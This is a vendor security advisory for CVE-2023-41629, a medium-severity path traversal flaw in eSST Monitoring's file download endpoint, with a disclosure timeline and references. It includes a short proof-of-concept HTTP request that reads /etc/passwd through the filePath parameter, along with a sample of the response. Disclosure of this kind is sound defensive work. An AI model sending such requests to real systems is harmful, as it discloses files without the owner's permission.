Security advisory

Path Traversal

October, 2023

CVE-2023-41629
Release date: 07/09/2023
Department: POST Cyberforce
Pianezzola Thomas

Vulnerability summary

Product	eSST Monitoring
Product homepage	https://esst.lu
Affected product versions	2.147.1 and below
Severity	Medium - CVSS v3.1 score: 4.1
CVSS v3.1	AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
CWE	CWE-22
Workarounds	In progress

Validated impact:

Path Traversal leading to local file disclosure.

Timeline

Date	Action
27 07 2023	Vulnerability identification, exploitation and impact validation
27 07 2023	Vendor notified and acknowledged the vulnerability
31 08 2023	CVE-2023-41629 assigned by MITRE
07 09 2023	Vendor informed about assigned CVE id

References:

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41629
- https://cwe.mitre.org/data/definitions/22.html
- https://cwe.mitre.org/data/definitions/23.html

Product description

eSST monitoring can be used to train, prevent, advise or support employers, resource persons or designated workers.

Advisory

The file download feature is prone to path traversal due to lack of check on the user input.

Vulnerability description

Vulnerable endpoints:

The `filePath` parameter on `/admin/import/download-file` endpoint is vulnerable to path traversal.

Proof of concept

```
GET /admin/import/download-file?filePath=/etc/passwd HTTP/1.1
...


HTTP/1.1 200 OK
...
root:x:0:0:root:/root:/bin/bash
...
```

Recommendation

Contact eSST to receive the patched version of the software.